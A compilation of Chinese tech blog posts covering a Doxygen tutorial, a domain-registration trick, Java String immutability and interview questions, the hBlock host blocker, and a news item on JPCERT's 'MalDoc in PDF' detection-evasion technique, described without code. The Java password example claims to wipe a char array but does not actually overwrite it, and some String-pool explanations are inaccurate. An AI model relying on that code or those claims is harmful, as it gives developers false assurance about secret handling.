-
如何在Linux上用Doxygen生成源代码文档
在试着熟悉别人的代码时,你总希望他们留下的代码注释能对你理解代码有所帮助。同理,无论为了自己还是其他人,编写代码时写注释是好习惯。所有编程语言都有专门的注释语法,注释可以是一个单词、一行文字、甚至是一整段话。编译器或解释器处理源代码时会忽略注释。 注释不能完全取代文档,但是有方法可以使用注释来生成文档。Doxygen是一个开源的文档生成工具,它能够根据代码注释生成 HTML 或 LaTeX 格式的文档。Doxygen 让你在不用额外操作的情况下创建代码结构概览。尽管 Doxygen 主要是用来给 C++ 生成文档的,它对其它语言同样适用,比如 C、Objective-C、 C#、 PHP、Java 和 Python 等。 要使用 Doxygen,你只需要在源代码中使用 Doxygen 能够识别的语法来写注释。Doxygen 会扫描源码文件,然后根据这些特殊注释生成 HTML 或 LaTeX 文档。下面的示例项目会演示如何使用 Doxygen 注释,以及文档是如通过注释生成出来的。示例代码可从 GitHub上获得,本文中也将引用Doxygen 手册及文档的相关章节。 在 Linux 上安装 Doxygen 在 Fedora 上可以通过软件包的形式安装 Doxygen。打开终端运行命令: sudo dnf install doxygen 在基于 Debian 的操作系统上,可以通过以下命令来安装: sudo apt-get install doxygen 使用 安装完 Doxygen 后,你需要在项目中按 Doxygen 可以识别的格式来注释代码,还要提供一个 Doxyfile 配置文件来控制 Doxygen 的一些行为。 注意:如果你用的是 GitHub 上的示例项目,你可以忽略下面一步。 如果 Doxyfile 文件不存在,你可以用 Doxygen 生成一个标准 Doxyfile 模板文件。切换到项目根目录下,运行: doxygen -g 参数 -g表示 生成generate。现在应该会出现一个名为Doxyfile的新文件。通过命令调用 Doxygen: doxygen 现在应该能会有两个新文件夹: html/ latex/ 默认情况下,Doxygen 会同时输出 LaTeX 和 HTML 格式的文档。本文主要关注 HTML 文档。你可以在 Doxygen 官方文档的入门小节中找到关于 LaTeX 格式输出的更多信息。 双击 html/index.html打开 HTML 文件。用空的配置文件生成的文档如下图: 现在我们试着修改 Doxyfile文件,并在源代码中添加特殊注释。 Doxyfile 文件 在 Doxyfile文件中可以定义大量的可调选项,本文通过介绍示例项目的Doxyfile文件我只能覆盖其中很小的子集。 第 35 行:项目名称 你可以在这里指定项目名称,它最终会显示在页眉header和浏览器标签上。 # The PROJECT_NAME tag is a single word (or a sequence of words surrounded by # double-quotes, unless you are using Doxywizard) that should identify the # project for which the documentation is generated. This name is used in the # title of most generated pages and in a few other places. # The default value is: My Project. PROJECT_NAME = "My Project" 第 47 行:项目简介 项目简介会以略小的字号显示在页眉上。 # Using the PROJECT_BRIEF tag one can provide an optional one line description # for a project that appears at the top of each page and should give viewer a # quick idea about the purpose of the project. Keep the description short. PROJECT_BRIEF = "An example of using Doxygen in C++" 第 926 行:包含子目录 允许 Doxygen 查找源代码和文档文件时递归遍历子目录。 # The RECURSIVE tag can be used to specify whether or not subdirectories should # be searched for input files as well. # The default value is: NO. RECURSIVE = YES 第 1769 行:禁用 LaTeX 输出 如果你只想生成 HTML 文档,可以通过这个开关禁用 LaTeX 输出。 # If the GENERATE_LATEX tag is set to YES, doxygen will generate LaTeX output. # The default value is: YES. GENERATE_LATEX = NO 修改完成后,你可以再次运行 Doxygen 来检验修改是否生效了。可以在调用 Doxygen 时使用 -x选项来查看Doxyfile文件的变更项: 通过调用 diff命令,Doxygen 仅显示当前 Doxyfile 文件和模板文件的差异。 特殊注释 Doxygen 通过扫描源代码文件中的特殊注释和关键字来生成 HTML 文档。示例项目中的 ByteStream 类的头文件可以很好地解释特殊注释的用法。 下面用构造函数和析构函数作为示例: /*! @brief Constructor which takes an external buffer to operate on * * The specified buffer already exist. * Memory and size can be accessed by buffer and size. * * @param[in] pBuf Pointer to existing buffer * @param[in] size Size of the existing buffer */ ByteStream(char* pBuf, size_t size) noexcept; 特殊注释块有不同的格式风格。我倾向于使用 /*!开头(Qt 风格),每行前添加*,以*/结束注释块。你可以参考 Doxygen 手册的文档化代码小节,以大致了解不同的风格选项。 Doxygen 注释分两个部分:简要描述和详细描述。它们都是可选的。在上面的例子中的注释块是对紧跟其后的构造函数声明的描述。在 @brief之后的文本会显示在类概览小节中: 在空行(空行是段落分隔符)之后是构造函数的实际文档。用 @param[in/out]关键字标注传递给构造函数的参数,Doxygen 基于此生成参数列表: 值得注意的是 Doxygen 为 buffer和size方法自动生成了链接。相反,Doxygen 忽略了析构函数前的注释,因为它并没有使用特殊注释: // Destructor ~ByteStream; 现在你已经看到 Doxygen 的绝大部分功能了。通过使用一种稍微改良的注释格式,让 Doxygen 能够识别它们。通过使用一些关键字,你甚至可以进一步控制格式化。在下一节中,我会进一步介绍 Doxygen 的其它特性。 其它特性 现在几乎所有的工作都可以通过对源代码注释的方式完成。通过一些微调,你可以轻松地优化 Doxygen 的输出。 Markdown 格式 为了进阶的格式化,Doxygen 支持 Markdown 和 HTML 命令。Markdown 速查表可以在 这里下载到。 项目主页 除了自定义页眉之外,html/index.html几乎没有其它内容了。你可以通过使用关键字向其中添加一些有意义的内容。因为主页通常不是针对某个源代码文件的,你可以将要显示在主页的内容放到项目根目录下的一个单独文件中。示例项目中就是这样做的,其输出效果如下: 自动链接生成 上面已将提到了,当你引用代码的其它部分时,Doxygen 会自动识别并生成相应链接。但要注意,这要求被引用部分也有文档才行。 更多信息可以在官方文档的自动链接生成中找到。 分组 ByteStream类重载overload 了的读写流操作符 ( 和 >>)。在类的概览中可以发现操作符被分为读和写两组。分组是在ByteStream的头文件中定义的。 分组的语法以标记 @{开始,以}@结束。在标记范围中的内容都属于这个分组。在ByteStream.h中的实现如下: /** @name Writing * Operators for writing to the stream * @{ */ (...) /** @} * @name Reading * Operators for reading from the stream * @{ */ (...) /** @} */ 你可以在官方文档的分组中找到更多相关信息。 LLVM 支持 如果你用 Clang构建项目的话,可以通过使用-Wdocumentation选项让 Clang 对特殊注释进行检查。想了解该特性的更多信息,可以参考 LLVM 用户手册和 Dmitri Gribenko 的展示报告,它们可以在 Clang 网站上找到。 谁在用 Doxygen Doxygen 是在 1997 年首次发布的。尽管有些年头了,现在仍然有很多项目在使用 Doxygen。比如 NASA 的飞行软件框架 F Prime、图像处理库OpenCV、包管理器RPM。你还可以在其它领域发现 Doxygen 语法标记的身影,比如内容管理平台Drupal的文档标准中。 注意:Doxygen 输出的 HTML 文档风格类似于九十年代网页。并且它也难以描绘元编程和模板编程架构。在这些情况下,你应该选择 Sphinx而不是 Doxygen。 ...
-
注册获得一个备案域名教程
一个未注册备案域名扫描教程,文字教程。我花钱购买了这份教程,并认为操作非常简单,几乎没有成本。相信大部分站长都看到过,有人售卖未注册中文备案域名,今天我花钱买了一份教程,操作非常简单,几乎无成本,现在免费分享给大家!首先先去淘宝或者闲鱼买个站长工具的会员,大概1-5元然后访问站长工具 (chinaz.com)按照我下图进行配置 图一 判断有没有注册,点进你想看的哪个域名进去就有显示,如果显示没有哪大概率就是没有注册的之后在到腾讯云域名注册进行查询域名注册购买_域名注册选购 – 腾讯云 (tencent.com)说明:自定义时间尽量设置在17年以前,单位性质可以为企业或者个人,网站状态必须为未开通在找域名时最好只看中文备案域名,英文很少有,没有太多技术,如果会写脚本,可以直接进行爬,然后判断 ...
-
为什么Java中字符串是不可变的
文章目录 1. 什么是不可变类? 2.字符串的运作方式 3.不可变字符串的优点 3.1. 应用程序和数据安全性 3.2. 提高性能 3.3. 线程安全性 3.4. 缓存 结论 默认情况下,Java 字符串是不可变的。字符串的不变性有助于提供缓存、安全性、快速性能和更好的内存利用率等功能。本教程讨论字符串的不可变性如何帮助实现这些功能。 1. 什么是不可变类? 什么是不可变类? 让我们从不可变性本身开始。一个不可变对象是一个其状态在其整个生命周期内都保证不会发生改变的对象。这意味着一旦初始化了对象的状态,它就无法在任何情况下被改变。 Java也有不可变类,主要包括String和包装类。 2.字符串的运作方式 在Java中,内存被分为三个部分,即堆(Heap)、栈(Stack)和字符串常量池(String Pool)。字符串常量池是专门用于存储字符串字面值的特殊区域。 当我们创建一个字符串时,会在字符串常量池中搜索具有完全相同内容的String对象。如果找到一个现有的String对象,那么它的引用就会指向新变量,因此,实际上,现有对象也会被重用于新的字符串声明。这有助于减小因为存在多个具有相同内容的字符串而导致的内存使用量。 String str1 = "value"; String str2 = "value"; String str3 = "value"; 上述程序创建了三个String类型的变量,它们都指向字符串常量池区域中的同一个对象。将来所有具有内容“value”的字符串都会指向堆中的同一对象,从而节省内存。 当我们修改一个字符串时,会在字符串常量池中创建一个新的带有修改内容的字符串。现有的对象永远不会被改变。 str3 = "test"; 当没有引用变量指向字符串常量池中的字符串对象时,该对象将被垃圾回收。通过这种方式,一旦创建了一个字符串,它就永远不会被更改。 3.不可变字符串的优点 现在让我们了解一下上面讨论的不可变性如何在运行时有所帮助。 3.1. 应用程序和数据安全性 首先,毫无疑问最重要的原因是安全性。这不仅适用于我们的应用程序,甚至适用于JDK本身。Java类加载机制是根据传递的类名参数来工作的,然后在类路径中搜索这些类。 在以下程序中,我们通过类名加载SQL服务器驱动程序。想象一下,如果字符串是可变的,那么恶意操作者可以更改驱动程序名称,在运行时加载恶意驱动程序类,并几乎不费力地入侵应用程序。 public static final String DRIVER_CLASS = "com.microsoft.sqlserver.jdbc.SQLServerDriver"; Class.forName(DRIVER_CLASS); 类似地,恶意操作者可以更改SQL语句并在运行时执行SQL注入攻击。不可变性确保不会发生此类修改。 3.2. 提高性能 String类的不可变性是字符串常量池的基础。如果没有不可变性,普通堆内存和字符串常量池之间就没有区别。 正如在前面的部分中讨论的那样,字符串常量池有助于实现更好的内存利用率,从而提高性能。 3.3. 线程安全性 不可变对象在多线程应用程序中自动具备线程安全性。如果某物无法更改,那么即使线程也无法更改它。非常简单! 由于String类在Java编程语言中是主要的构建块,因为它用于类加载机制,因此在多线程情况下,必须防止String类被污染。不可变性在这里起到了魔法作用。 3.4. 缓存 缓存通常是作为键-值对实现的,类似于Java中的Map实现。缓存键通常存储为字符串,以便快速查找。 考虑一下,如果我们可以在与其关联的值存储在缓存中之后更改键,那么在我们意外构建相同键之前,将不可能再检索该值。 字符串的不可变性保证了缓存键永远不会被更改。这就是为什么在Java中字符串是缓存和映射中最常用的键的原因。 结论 从以上讨论可以得出结论,字符串的不可变性有助于实现Java应用程序所需的安全性和性能。 ...
-
Java 字符串常量池
文章目录 1.Java中的不可变字符串 2.Java中的String常量池是什么? 3.字符串文字和字符串对象的区别 4.String.intern() API 5.优点 5.1. 增强的安全性 5.2. 线程安全性 6.缺点 6.1. 无法扩展String类 6.2. 长时间内存中的敏感数据 6.3. 可能的OutOfMemoryError 了解Java中的String类,创建它的不可变性背后的动机,以及String常量池的概念。我们将看到当我们通过String文字或String构造函数创建String实例时,内存是如何被操作的。最后,我们将讨论String类的不可变性引起的主要优点和缺点。 1.Java中的不可变字符串 字符串是字符序列。在Java中,与其他编程语言类似,字符串是预定义类型的一部分。Java有java.lang.String类,其实例表示字符串。 String类是一个不可变类。不可变意味着一旦创建了String实例,就无法更改它。 通常,许多敏感信息(用户名、密码、URL、端口、数据库、套接字连接)被表示并传递为字符串。通过使这些信息不可变,代码就能够免受各种安全威胁的影响。 字符串的不可变性还允许缓存字符串文字,这允许应用程序在堆内存和垃圾收集器上产生最小的影响的情况下使用大量的字符串文字。 在可变的上下文中,修改字符串文字可能导致变量损坏。 2.Java中的String常量池是什么? 在Java中,内存被分为三个部分,即堆、栈和字符串池。字符串常量池是用于存储字符串文字的特殊区域。 请注意,在Java 7之前,字符串池是永久代内存区的一部分。 从Java 7开始,字符串与应用程序创建的其他对象一起分配在Java堆区域中。 随后,在Java 8中,永久代已完全删除。 因此,在最新的JVM中,字符串池是堆内存中的一个特殊区域,用于存储字符串文字。 尽管字符串池已从永久代空间移动到堆内存区域,但围绕字符串的创建、文字、对象和内部化的所有概念都没有改变。 3.字符串文字和字符串对象的区别 在Java中,字符串文字是使用双引号创建的字符串,而字符串对象是使用new()运算符创建的字符串。 需要注意的是,字符串文字是在字符串池区域创建的,而字符串对象是在堆内存区域创建的。 String strLiteral = "Hello World"; String strObj = new String("Hello World"); 假设我们想创建两个具有相同内容“panziye.com”的字符串。如果已经存在一个内容为“panziye.com”的字符串,那么新的文字将指向已经存在的文字。而对于字符串对象,每次都会在堆内存中创建一个新的字符串对象。 让我们看一个示例: String a = "panziye.com"; String b = "panziye.com"; System.out.println(a == b); //true 在上面的程序中,我们创建了两个具有相同内容的字符串文字。在字符串池中创建了’a’之后,下一个字符串文字’b’指向了内存中的同一个对象,所以’a == b’是true。这是因为Java中的字符串文字会被重用,以节省内存空间。 String a = "panziye.com"; String b = "panziye.com"; System.out.println(a == b); String c = new String("panziye.com"); System.out.println(a == b); //true System.out.println(b == c); //false 在上面的程序中,我们创建了一个具有类似内容的新字符串对象。当我们检查对象引用是否相等时,我们看到’b’和’c’指向不同的对象。这意味着当我们创建字符串对象’c’时,在内存中创建了一个新的对象。这是因为每次使用new关键字创建字符串对象时,都会在堆内存中分配一个新的对象。这与字符串文字不同,字符串文字在字符串池中被重用。 4.String.intern() API 我们知道字符串文字是在字符串池中创建的,而字符串对象是在堆内存区域中创建的。 我们可以使用String.intern()方法为字符串对象创建字符串文字。当在字符串对象上调用intern()方法时,它会在堆内存中创建一个String对象的精确副本,并将其存储在字符串常量池中。 String a = "panziye"; String b = "panziye"; String c = new String("panziye"); String d = c.intern(); 在上面的例子中,字符串a、b和d将引用SCP中相同的字符串文字。而字符串c将继续指向堆内的对象。 5.优点 5.1. 增强的安全性 正如前面所述,字符串池允许字符串不可变。不可变对象有助于使应用程序更安全,因为它们可能存储敏感信息。 由于我们无法更改不可变对象,这有助于提高安全性。 5.2. 线程安全性 字符串可能是Java应用程序中最常用的对象。想象一下,如果字符串是可变的。在这种情况下,在应用程序中管理线程安全将会成为一场噩梦。 任何不可变对象都具有天生的线程安全性。这意味着多个线程可以共享和操作字符串,而无需担心损坏和不一致性。 6.缺点 6.1. 无法扩展String类 如果我们想扩展String类以添加更多功能,那是不可能的。不可变类被声明为final以防止扩展。 但幸运的是,我们有许多第三方库(如Apache Commons Lang、Spring Framework、Guava),它们为几乎所有种类的用途提供了出色的实用程序类。 6.2. 长时间内存中的敏感数据 字符串中的敏感数据(例如密码)可能会在内存中(在字符串常量池中)驻留更长时间,因为字符串常量池受到垃圾收集器的特殊处理。垃圾收集器不会像访问其他内存区域那样频繁(周期性)访问字符串常量池。 由于这种特殊处理,敏感数据会在字符串常量池中保存很长时间,可能会容易受到不希望的使用。 为了避免这种潜在的缺点,建议将敏感数据(例如密码)存储在char[]中,而不是String中。 6.3. 可能的OutOfMemoryError 字符串常量池与其他内存区域相比是一个小内存区域,可能会很快填满。将太多字符串文字存储在字符串常量池中会导致OutOfMemoryError。 ...
-
Java String面试题汇总
文章目录 Java中String是关键字吗? 为什么String是不可变的? 什么是字符串常量池? 什么是String intern()? 如何使用正则表达式查找匹配的字符串? 如何比较两个字符串? Java中的字符串是如何工作的? 如何检查回文字符串? 如何在字符串中删除或替换字符? 如何将字符串转换为小写或大写? 我们可以在’ switch ‘语句中使用String吗? 如何打印一个字符串的所有排列组合? 如何翻转字符串中的每个单词? 如何分割一个字符串? 为什么不应该使用字符串来存储密码? 字符串是线程安全的吗? 为什么String是HashMap键的最佳选择? String、StringBuffer和StringBuilder之间有什么区别? 如何连接多个字符串? 统计给定程序中的字符串对象数量 统计字符串中每个字符的出现次数? 在不使用 StringBuilder 或 StringBuffer 的情况下反转字符串? 总结 给定的Java String面试问题涵盖了字符串方法、字符串不可变性和内存泄漏问题,以及简单的示例和用例。我将尽力涵盖Java面试中最常问的String类相关问题。 Java中String是关键字吗? 不是的。String不是Java中的保留关键字。它是一种派生数据类型,也就是一个类。 public class StringExample { public static void main(String[] args) { Integer String = 10; System.out.println(String); //输出 10 } } 为什么String是不可变的? 第一个原因是性能改进。Java语言的开发旨在加快应用程序的开发速度,因为在之前的语言中它的速度不是那么快。JVM的设计者必须足够聪明,能够识别到实际应用程序将主要由字符串组成,这些字符串是标签、消息、配置、输出和其他形式的数据。看到这种过度使用,他们想象了字符串的不当使用可能有多危险。因此,他们提出了字符串池的概念。字符串池实际上是一组大部分是唯一的字符串。字符串池背后的基本思想是一旦创建了字符串,就可以重用它。这样,如果在代码中创建了一个特定的字符串20次,应用程序只有一个实例。 我认为第二个原因是安全性考虑。字符串是Java编程的各个方面中最常用的参数类型。无论是加载驱动程序还是打开URL连接,都需要将信息作为字符串参数传递。如果字符串不是不可变的,就会引发一系列安全性问题。 什么是字符串常量池? 字符串常量池是常规堆内存中的一块特定内存区域,用于存储这些字符串常量。在应用程序的生命周期中,字符串变量引用这些常量。 在Java中,我们可以通过多种方式创建字符串。例如,使用字符串字面值和使用new关键字。 String str1 = "abc"; String str2 = new String("abc"); 使用字符串字面值会导致JVM验证是否已经存在一个与字符串”abc”(相同的字符序列)。如果存在这样的字符串,JVM会将现有对象的引用赋给变量str;否则,将创建一个新的对象”abc”,并将其引用赋给变量str1。 当使用new关键字时,Java会在正常的堆内存中创建一个新的String对象。我们必须使用intern方法将字符串从堆内存移到字符串池中。 为了更好地利用内存并提高性能,建议使用字符串字面值来创建字符串。除非需要显式复制原始字符串,否则不需要使用构造函数,因为字符串是不可变的。 什么是String intern()? 当调用String的intern()方法时,如果字符串池已经包含与此字符串相同内容的字符串(由equals()方法确定),则返回池中的引用。否则,将此String对象添加到池中,并返回池中此新String对象的引用。 简单来说,字符串池化是将一个String对象从常规堆内存移动到字符串常量池中,并使用池中的对象引用的过程。 String str = new String("abc"); str.intern(); 对于intern()方法,对于任何两个字符串s1和s2,只有当s1.equals(s2)为true时,s1.intern() == s2.intern()才为true。 这意味着如果s1和s2是不同的字符串对象,并且具有相同的字符序列,那么在两者上调用intern()将导致由两个变量引用的单个字符串池字面值。 默认情况下,请记住所有字面字符串和具有字符串值的常量表达式都会被池化。 如何使用正则表达式查找匹配的字符串? 我们可以使用Pattern和Matcher API进行正则表达式匹配。String类提供了自己的matches()方法。我们应该直接使用matches()方法。该方法在函数定义内部也使用Pattern.matches()。 String str = new String("Welcome to panziye.com"); System.out.println(str.matches("(.*)ziye(.*)")); //Prints true System.out.println(Str.matches("(.*)www(.*)")); //Print false 如何比较两个字符串? 面试中的另一个受欢迎的领域。通常有两种比较对象的方法: 使用==运算符 使用equals()方法 ==运算符用于比较对象引用。因此,如果两个字符串对象引用字符串池中的相同字面值或堆中的相同字符串对象,则’s == t’将返回true,否则返回false。 equals()方法在String类中被重写,并验证String对象所持有的字符序列。换句话说,equals()方法比较字符串对象的值。如果它们存储相同的字符序列,’s.equals(t)’将返回true,否则返回false。 Java中的字符串是如何工作的? 与其他编程语言一样,Java中的字符串是字符序列。这更像是一个用于处理该字符序列的实用类。这个字符序列以char数组类型的以下变量维护: /** 值使用char 数组存储 */ private final char value[]; 各种字符串方法在不同的情况下使用以下变量来维护数组中的位置: /** 偏移量(offset)是存储中首个被使用的索引。*/ private final int offset; /** 计数(count)是字符串中字符的数量。 */ private final int count; 如何检查回文字符串? 如果一个字符串的值在反转后仍然相同,那么它就是回文字符串。要检查回文字符串,可以将字符串反转,然后将其与原始字符串进行比较。 如果原始字符串和反转后的字符串相同,那么给定的字符串就是回文字符串。 String originalString = "abcdcba"; StringBuilder strBuilder = new StringBuilder(originalString); String reverseString = strBuilder.reverse().toString(); boolean isPalindrame = originalString.equals(reverseString); System.out.println(isPalindrame); //true 如何在字符串中删除或替换字符? 要替换或删除字符,可以使用String.replace()或String.replaceAll()方法。 这两种方法都接受两个参数。第一个参数是要替换的字符,第二个参数是要放入字符串中的新字符。 如果想删除字符,可以在第二个参数中传递空字符。 String originalString = "howtodoinjava"; //Replace one character System.out.println( originalString.replace("h", "H") ); //Howtodoinjava //Replace all matching characters System.out.println( originalString.replaceAll("o", "O") ); //hOwtOdOinjava //Remove one character System.out.println( originalString.replace("h", "") ); //owtodoinjava //Remove all matching characters System.out.println( originalString.replace("o", "") ); //hwtdinjava 如何将字符串转换为小写或大写? 要将字符串转换为小写或大写,可以使用String.toLowerCase()和String.toUpperCase()方法。 String blogName = "PanZiYe.com"; System.out.println(blogName.toLowerCase()); //panziye.com System.out.println(blogName.toUpperCase()); //PANZIYE.COM 我们可以在’ switch ‘语句中使用String吗? 可以,自Java 7以来,我们可以在switch语句中使用String类。在Java 7之前,这是不可以的,我们必须使用if-else语句来实现类似的功能。 如何打印一个字符串的所有排列组合? 排列是将字符元素重新排列,以使每个排列在其他排列方面都是唯一的。例如,下面是字符串“ABC”的排列 – ABC、ACB、BAC、BCA、CBA 和 CAB。 长度为N的字符串有N!(N阶乘)个排列。 import java.util.HashSet; import java.util.Set; public class StringExample { public static void main(String[] args) { System.out.println(getPermutations("ABC")); //Prints //[ACB, BCA, ABC, CBA, BAC, CAB] } public static Set<String> getPermutations(String string) { //All permutations Set<String> permutationsSet = new HashSet<String>(); // invalid strings if (string == null || string.length() == 0) { permutationsSet.add(""); } else { //First character in String char initial = string.charAt(0); //Full string without first character String rem = string.substring(1); //Recursive call Set<String> wordSet = getPermutations(rem); for (String word : wordSet) { for (int i = 0; i <= word.length(); i++) { permutationsSet.add(charInsertAt(word, initial, i)); } } } return permutationsSet; } public static String charInsertAt(String str, char c, int position) { String begin = str.substring(0, position); String end = str.substring(position); return begin + c + end; } } 如何翻转字符串中的每个单词? 要分别翻转每个单词,首先要对字符串进行分词,将所有单词分隔成一个数组。然后,对每个单词应用翻转单词的逻辑,最后将所有单词连接起来。具体代码可以参考:反转字符串中的单词 如何分割一个字符串? 使用String.split()方法,该方法会根据给定的正则表达式来分割字符串。它也被称为根据分隔符获取字符串标记。 split()方法返回一个字符串数组,数组中的每个字符串都是一个独立的标记。 为什么不应该使用字符串来存储密码? 我们知道在Java中,字符串存储在常量池中。一旦一个字符串被创建在字符串池中,它会一直在池中存在,除非被垃圾回收。在这段时间内,任何恶意程序都可以访问物理内存中的内存区域并访问字符串数据。 如果我们将密码存储为一个字符串,它将在内存中保留的时间比所需的时间长,因为垃圾收集周期是不可预测的。这会使敏感的密码字符串容易受到黑客攻击和数据盗窃的威胁。 有人可能会提出一个观点,即在使用后将字符串设置为空。但是,这是不可行的,因为我们知道一旦一个字符串被创建,就无法操纵它,例如无法更改它的内容。字符串是不可变的。 但是,字符数组是可变的,我们可以在使用后覆盖它们的内容。因此,我们的应用程序应该使用char[]来存储密码文本,并在使用密码后替换数组内容为空白。 总之,使用char[]而不是字符串来存储密码是更安全的做法,因为它可以在使用后覆盖密码,减少了敏感信息被恶意访问的风险。这是更好的密码安全实践。 String password = "123456"; //不能使用字符串 char[] passwordChars = new char[4]; //从数据库等系统中获取密码。 //使用密码 for(char c : passwordChars) { c = ' '; } 字符串是线程安全的吗? 是的,字符串是线程安全的,因为它们是不可变的。 请记住,所有不可变的实例都是线程安全的,这是它们的设计特点。 为什么String是HashMap键的最佳选择? 在Java中,Map的键必须是不可变的,并且应该遵守equals()和hashCode()方法之间的约定。String类满足这两个条件。 此外,String类提供了许多有用的方法,用于比较、排序、分词或大小写转换。在对Map执行CRUD操作时,可以使用这些方法。 所有这些特点使得String类非常适合用作Map中的键,而不是创建我们自己的类。 String、StringBuffer和StringBuilder之间有什么区别? String类表示字符序列,并提供了处理字符的有用方法。String类的实例是不可变的。因此,每次我们使用String类进行字符串连接时,都会创建一个新对象,其中包含连接后的字符串。 StringBuilder类用于以更节省内存的方式执行字符串连接操作。它在内部维护char[],只在这个数组中操作内容。当我们在执行所有操作后需要获取完整的连接字符串时,它会使用存储的字符数组创建一个新的String。 StringBuffer与StringBuilder类非常相似,唯一的区别是它是线程安全的,它的所有方法都是同步的。 如何连接多个字符串? 根据是否需要线程安全,使用StringBuffer或StringBuilder类。在这两个类中,使用append()方法来连接字符串。 统计给定程序中的字符串对象数量 String s1 = "panziye.com"; String s2 = "panziye.com"; String s3 = new String("panziye.com"); 上面的代码将创建2个对象。 第一条语句将在字符串池中创建第一个字符串字面量。 第二条语句不会创建任何新对象,s2将引用与s1相同的字符串常量。 第三条语句将在堆内存中创建一个新的字符串对象。 统计字符串中每个字符的出现次数? 要找出给定字符串中每个字符的出现次数,我们使用了HashMap,其中字符作为键,其出现次数作为值。 每次字符出现新的次数时,我们将增加该字符的计数值。代码实现可以参考《Java中查找字符串中的重复字符》 在不使用 StringBuilder 或 StringBuffer 的情况下反转字符串? 反转字符串的最佳方法是使用 StringBuffer.reverse() 和 StringBuilder.reverse() 方法。尽管如此,面试官可能会要求您编写自己的程序,以检查您的技能水平。 请使用下面给出的基于递归的示例来反转字符串。 该程序从字符串中取出第一个字符,并将其放置在字符串的最后位置。它使用这种替换方式来反转字符串中的所有字符,直到整个字符串被反转。 具体代码实现可以参考:《基于递归的示例来反转字符串》 总结 以上就是我认为面试时经常被问到的关于String类问题,希望对你的面试有帮助。如果你知道更多关于Java String面试题问题,可以留言。 ...
-
如何使用hBlock提升你的网络和隐私安全
关于hBlock hBlock是一款针对用户网络安全和隐私安全的保护工具,该工具可以通过屏蔽广告、屏蔽应用程序跟踪和恶意软件域名来保护你的信息安全。 hBlock是一个符合POSIX的Shell脚本,它可以从多个来源获取提供广告、跟踪脚本和恶意软件的域名列表,并创建一个hosts文件和其他格式,以防止你的系统跟它们建立连接。 需要注意的是,hBlock在默认情况下会替换系统的hosts文件,如果有要保留的条目,请考虑先进行备份。 支持的源 数据源 主地址 镜像 adaway.org URL URL AdBlock NoCoin List URL URL AdGuard - Simplified URL URL disconnect.me - Ad URL URL disconnect.me - Malvertising URL URL disconnect.me - Malware URL URL disconnect.me - Tracking URL URL ETH PhishingDetect URL URL FadeMind - add.2o7Net URL URL FadeMind - add.Dead URL URL FadeMind - add.Risk URL URL FadeMind - add.Spam URL URL KADhosts URL URL malwaredomainlist.com URL URL malwaredomains.com - Immortal domains URL URL malwaredomains.com - Just domains URL URL matomo.org - Spammers URL URL mitchellkrogza - Badd-Boyz-Hosts URL URL pgl.yoyo.org URL URL ransomwaretracker.abuse.ch URL URL someonewhocares.org URL URL spam404.com URL URL StevenBlack URL URL winhelp2002.mvps.org URL URL ZeroDot1 - CoinBlockerLists URL URL zeustracker.abuse.ch URL URL 工具安装 hBlock支持在各种软件包管理器中安装和使用,具体请查看【最新列表】。除此之外,广大研究人员也可以通过执行下列命令将该项目最新版本的代码克隆至本地: git clone https://github.com/hectorm/hblock.git 如果你想手动执行工具安装的话,也可以执行下列命令: curl -o /tmp/hblock 'https://raw.githubusercontent.com/hectorm/hblock/v3.4.2/hblock' \ && echo 'a7d748b69db9f94932333a5b5f0c986dd60a39fdf4fe675ad58364fea59c74b4 /tmp/hblock' | shasum -c \ && sudo mv /tmp/hblock /usr/local/bin/hblock \ && sudo chown 0:0 /usr/local/bin/hblock \ && sudo chmod 755 /usr/local/bin/hblock 我们也可以直接使用NPX在不需要安装的情况下运行hBlock: npx hblock 工具使用 脚本参数 工具支持使用各种选项参数来控制工具的任务执行: Usage: hblock [options...] -O, --output FILE Hosts 文件路径(默认:/etc/hosts) -R, --redirection IP 屏蔽了列表中所有条目的目的IP地址 (默认:0.0.0.0) -H, --header HEADER Hosts文件头部需要引入的内容,你可以使用其他命令的输出作为该参数的数据,例如"$(cat header.txt)" -S, --sources URLS 用于生成屏蔽列表的数据源,每个URL用空格分隔 -W, --whitelist ENTRIES 需要从屏蔽列表中移除的条目 -B, --blacklist ENTRIES 需要添加到屏蔽列表中的条目,每个域名用空格分隔 -b, --backup [DIRECTORY] 设置时间戳备份 (默认:输出文件目录) -l, --lenient 针对数据源进行IP地址匹配 (默认: 0.0.0.0, 127.0.0.1 或none) -i, --ignore-download-error 发生下载错误时继续执行任务 -c, --color auto|true|false 颜色高亮输出(默认:auto) -q, --quiet 禁用非错误消息 -v, --version 显示工具版本信息和退出 -h, --help 显示工具帮助信息和退出 保留内容 该脚本会替换掉你系统中的hosts文件,如果你想要恢复其中的部分内容,可以直接使用下列数据结构对要恢复的内容进行“封装”: # <custom> ... </custom> 临时禁用hBlock 有的时候你可能需要临时禁用hBlock,最简单的方式就是快速生成一个不包含任何屏蔽域名的hosts文件,命令如下: hblock -S none -D none 工具使用演示 演示视频:【点我观看】 许可证协议 本项目的开发与发布遵循MIT开源许可证协议。 项目地址 hBlock:【GitHub传送门】 参考资料 https://en.wikipedia.org/wiki/Hosts_(file) https://hblock.molinero.dev/ https://github.com/hectorm/hmirror ...
-
绕过检测将恶意Word文件嵌入到PDF文件中
日本的计算机应急响应团队JPCERT分享了其检测到的一种新的攻击技术。2023年7月,JPCERT观察到该攻击技术并将之命名为“MalDoc in PDF”,该技术通过将恶意Word文件嵌入到PDF文件中来绕过检测。 JPCERT采样的恶意文件是一个多语言文件,多语言文件指包含多种不同文件格式的文件,可以根据打开它们的应用程序解释和执行多种文件类型。在本例中,大多数扫描引擎和工具会将其识别为PDF,但办公应用程序可以将其作为常规的Word文档(.doc)打开。 多语言文件在一种格式中可能看似无害,而在另一种格式中则可能隐藏了恶意代码,因此黑客通常使用这类文件来逃避检测或混淆分析工具。在这种情况下,该PDF文档包含一个带有VBS宏的Word文档,如果在Microsoft Office中将之作为.doc文件打开,则会下载并安装一个MSI恶意软件文件。 “MalDoc in PDF”作为攻击手段的主要优势是能够逃避传统PDF分析工具(如“pdfid”)或其他只检查文件外层(即合法的PDF结构)的自动化分析工具的检测。但另外一些分析工具(如“OLEVBA”)仍然可以检测到多语言文件中隐藏的恶意内容。JPCERT指出,多层次的防御和丰富的检测集能够有效对抗这种威胁。 JPCERT提醒道,虽说本文描述的技术无法绕过禁用Word宏自动执行的设置,但由于这些文件被识别为PDF文件,现有的沙箱或杀毒软件可能无法检测到它。所以假如正在使用一些沙箱、工具等进行自动化恶意软件分析,需要特别注意这一点。 </p> 原文出自:https://zhuanlan.kanxue.com/article-24259.htm 